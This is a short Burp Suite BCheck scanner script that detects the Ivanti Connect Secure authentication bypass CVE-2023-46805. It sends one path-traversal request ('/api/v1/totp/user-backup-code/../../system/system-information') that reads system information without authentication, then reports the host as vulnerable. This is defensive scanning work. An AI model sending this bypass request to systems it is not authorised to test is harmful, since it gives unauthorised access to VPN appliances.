CVE-2023-46805-Ivanti Auth Bypass.bcheck

# https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
# https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis

metadata:
    language: v2-beta
    name: "CVE-2023-46805 - Ivanti Connect Secure and Ivanti Policy Secure Authentication Bypass"
    description: "Checks for CVE-2023-46805"
    author: "trikster"
    tags: "CVE-2023-46805", "cve", "auth-bypass", "ivanti"


given host then
    send request called check:
        method: "GET"
        path: "/api/v1/totp/user-backup-code/../../system/system-information"

    if {check.response.status_code} is "200" and
        "Content-Type: application/json" in {check.response.headers} and
        {check.response.body} matches "(?m)\s*\{\s*\"software-inventory\"\s*:\s*\{\s*\"software\"\s*:\s*\{\s*\"name\"\s*:\s*\"\w+\"" then

        report issue:
            severity: high
            confidence: firm
            detail: "Application appears to be vulnerable to CVE-2023-46805."
            remediation: "Apply vendor patches."

    end if